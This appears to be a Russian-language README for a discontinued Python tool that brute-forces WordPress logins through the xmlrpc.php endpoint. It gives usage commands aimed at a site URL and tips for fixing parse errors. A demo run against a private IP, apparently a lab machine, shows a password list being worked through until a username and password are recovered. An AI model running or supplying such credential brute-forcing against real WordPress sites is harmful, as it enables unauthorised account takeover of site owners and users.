Брутфорсер XMLRPC для Wordpress — Вдохновлено (1N3@CrowdShield)

Примечание — Этот проект прекращен

Использование

python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username
python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt ( >>in progess<<)

Ошибки

Если вы получили xml.etree.ElementTree.ParseError:

Вы забыли добавить 'xmlrpc' в URL?
Попробуйте добавить или убрать 'https' или 'www'.

TODO

Обработка исключений для xml.etree.ElementTree.ParseError
Перебор по списку пользователей ('userlist')

Демонстрация

MacBook-Pro: kavish$ python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php 10k-most-common.txt elliot

---------------Examining Target--------------------

[>] Target is vulnerable.

--=[Target: http://192.168.100.34/xmlrpc.php]=--

        	[...Bruteforcing...]
--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--------------- BRUTEFORCE SUCCESSFULL  ---------------
--=[User found]=--
Login: elliot
Password: ER28-0652
--=[Exiting...]=--

xmlrpc-bruteforcer

Популярное